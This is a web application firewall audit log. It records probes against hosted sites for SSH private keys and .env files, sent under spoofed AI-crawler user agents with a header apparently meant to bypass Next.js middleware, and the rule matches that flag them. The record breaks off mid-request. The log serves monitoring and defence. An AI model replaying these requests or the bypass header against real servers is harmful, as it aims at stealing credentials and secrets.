Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/id_rsa"] [unique_id "aqY04Uwu1RSkptiiNIXyIgAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/id_rsa"] [unique_id "aqY04Uwu1RSkptiiNIXyIgAAAIw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277409942025 6779382 (- - -)
Stopwatch2: 1789277409942025 6779382; combined=37469, p1=230, p2=37177, p3=0, p4=0, p5=62, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c4b984e-Z--

--9015fe3b-A--
[13/Sep/2026:08:30:18.636435 +0300] aqY06DTJ6xTvcJoem7f3eAAAAFc 136.70.168.129 45474 127.0.0.1 7081
--9015fe3b-B--
GET /.ssh/id_dsa HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9015fe3b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9015fe3b-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/id_dsa"] [unique_id "aqY06DTJ6xTvcJoem7f3eAAAAFc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/id_dsa"] [unique_id "aqY06DTJ6xTvcJoem7f3eAAAAFc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277416793108 1843399 (- - -)
Stopwatch2: 1789277416793108 1843399; combined=40227, p1=277, p2=39881, p3=0, p4=0, p5=69, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9015fe3b-Z--

--65f44f49-A--
[13/Sep/2026:08:30:19.031452 +0300] aqY06WM7dE9KgIIOpQhnCwAAAMA 136.70.168.129 45512 127.0.0.1 7081
--65f44f49-B--
GET /.ssh/known_hosts HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--65f44f49-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--65f44f49-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/known_hosts"] [unique_id "aqY06WM7dE9KgIIOpQhnCwAAAMA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/known_hosts"] [unique_id "aqY06WM7dE9KgIIOpQhnCwAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277417414059 1617498 (- - -)
Stopwatch2: 1789277417414059 1617498; combined=34528, p1=233, p2=34226, p3=0, p4=0, p5=69, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--65f44f49-Z--

--e0ba8e23-A--
[13/Sep/2026:08:30:19.421250 +0300] aqY06DTJ6xTvcJoem7f3egAAAFg 136.70.168.129 45492 127.0.0.1 7081
--e0ba8e23-B--
GET /.ssh/authorized_keys HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e0ba8e23-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e0ba8e23-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/authorized_keys"] [unique_id "aqY06DTJ6xTvcJoem7f3egAAAFg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/authorized_keys"] [unique_id "aqY06DTJ6xTvcJoem7f3egAAAFg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277416895725 2525584 (- - -)
Stopwatch2: 1789277416895725 2525584; combined=35575, p1=217, p2=35295, p3=0, p4=0, p5=63, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e0ba8e23-Z--

--d14bf315-A--
[13/Sep/2026:08:30:19.778582 +0300] aqY06WM7dE9KgIIOpQhnCgAAAMk 136.70.168.129 45496 127.0.0.1 7081
--d14bf315-B--
GET /.ssh/config HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d14bf315-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d14bf315-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/config"] [unique_id "aqY06WM7dE9KgIIOpQhnCgAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/config"] [unique_id "aqY06WM7dE9KgIIOpQhnCgAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277417388770 2389919 (- - -)
Stopwatch2: 1789277417388770 2389919; combined=51682, p1=257, p2=51361, p3=0, p4=0, p5=64, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d14bf315-Z--

--ee6ef308-A--
[13/Sep/2026:08:30:21.337007 +0300] aqY06WM7dE9KgIIOpQhnDAAAANA 136.70.168.129 45522 127.0.0.1 7081
--ee6ef308-B--
GET /id_rsa HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ee6ef308-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ee6ef308-H--
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/id_rsa"] [unique_id "aqY06WM7dE9KgIIOpQhnDAAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/id_rsa"] [unique_id "aqY06WM7dE9KgIIOpQhnDAAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277417466071 3871021 (- - -)
Stopwatch2: 1789277417466071 3871021; combined=36527, p1=217, p2=36232, p3=0, p4=0, p5=77, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ee6ef308-Z--

--7d459a6e-A--
[13/Sep/2026:08:30:21.549481 +0300] aqY06WM7dE9KgIIOpQhnDQAAANE 136.70.168.129 45534 127.0.0.1 7081
--7d459a6e-B--
GET /id_dsa HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7d459a6e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7d459a6e-H--
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/id_dsa"] [unique_id "aqY06WM7dE9KgIIOpQhnDQAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/id_dsa"] [unique_id "aqY06WM7dE9KgIIOpQhnDQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277417515195 4034369 (- - -)
Stopwatch2: 1789277417515195 4034369; combined=37491, p1=335, p2=37055, p3=0, p4=0, p5=101, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7d459a6e-Z--

--68a78f69-A--
[13/Sep/2026:08:30:37.987344 +0300] aqY0-Uwu1RSkptiiNIXyOQAAAJA 136.70.168.129 34284 127.0.0.1 7081
--68a78f69-B--
POST /read-document HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
Content-Length: 20
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Type: application/json
Accept-Encoding: gzip

--68a78f69-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--68a78f69-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:08-30.136.70.168.129"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789277437951148 36281 (- - -)
Stopwatch2: 1789277437951148 36281; combined=33901, p1=229, p2=33239, p3=0, p4=0, p5=433, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--68a78f69-Z--

--fb953638-A--
[13/Sep/2026:08:32:43.633516 +0300] aqY1ezTJ6xTvcJoem7f3gQAAAE0 185.219.163.175 46254 127.0.0.1 7081
--fb953638-B--
POST /contact HTTP/1.1
Host: ihelp.ro
X-Real-IP: 185.219.163.175
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 489
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Origin: https://ihelp.ro
Referer: https://ihelp.ro/contact
Sec-Fetch-Dest: document
Sec-Fetch-Mode: same-origin
Cookie: csrfToken=ySOMJkn5Oi3ygemZg8XAOzEwMjU2OTRjMDA4YjNmMTBjZTI3ZGYwZjhlNTZmMGEyZTgxMmM2Y2I%3D
Content-Type: application/x-www-form-urlencoded
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

--fb953638-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-DEBUGKIT-ID: e0868810-564d-4c2f-9057-ce06bcbd1223
Set-Cookie: PHPSESSID=niarmfpahkief80h8mb3ruslkl; path=/; secure; HttpOnly; SameSite=Lax
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--fb953638-H--
Message: Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/011_i360_8_spam.conf"] [line "102"] [id "77141095"] [msg "IM360 WAF: Block spam in PrestaShop||T:APACHE||MVN:TX:rbl_ip||MV:08-32.185.219.163.175||"] [severity "CRITICAL"] [tag "other_apps"]
Message: Matched phrase "/contact" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/011_i360_8_spam.conf"] [line "182"] [id "77142192"] [msg "IM360 WAF: Track spam attempts||T:APACHE||MVN:REQUEST_FILENAME||MV:/contact||"] [severity "NOTICE"] [tag "other_apps"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277563381573 252034 (- - -)
Stopwatch2: 1789277563381573 252034; combined=65373, p1=593, p2=64717, p3=0, p4=0, p5=62, sr=216, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--fb953638-Z--

--66d34a6e-A--
[13/Sep/2026:08:38:06.631061 +0300] aqY2vmM7dE9KgIIOpQhnugAAAM8 167.99.71.88 41654 127.0.0.1 7081
--66d34a6e-B--
GET /license.txt HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 167.99.71.88
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.27.1

--66d34a6e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--66d34a6e-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/license.txt"] [unique_id "aqY2vmM7dE9KgIIOpQhnugAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277886502800 128309 (- - -)
Stopwatch2: 1789277886502800 128309; combined=7469, p1=238, p2=7171, p3=0, p4=0, p5=60, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--66d34a6e-Z--

--d8204a33-A--
[13/Sep/2026:08:52:49.579512 +0300] aqY6MWM7dE9KgIIOpQhpFwAAAMU 129.159.56.14 57564 127.0.0.1 7081
--d8204a33-B--
GET /.env HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 129.159.56.14
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
accept-encoding: gzip,br

--d8204a33-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d8204a33-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/.env"] [unique_id "aqY6MWM7dE9KgIIOpQhpFwAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789278769491920 87711 (- - -)
Stopwatch2: 1789278769491920 87711; combined=4486, p1=326, p2=4078, p3=0, p4=0, p5=82, sr=115, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8204a33-Z--

--0b6a857e-A--
[13/Sep/2026:08:53:30.295382 +0300] aqY6Wkwu1RSkptiiNIXzDwAAAIQ 17.166.20.119 53120 127.0.0.1 7081
--0b6a857e-B--
POST /navigation_times HTTP/1.1
Host: ihelp.ro
X-Real-IP: 17.166.20.119
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 422
content-type: application/x-www-form-urlencoded
accept: */*
referer: https://ihelp.ro/?artikel=bomberwinslot
origin: https://ihelp.ro
accept-encoding: gzip, deflate, br
accept-language: en-US,en;q=0.90
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
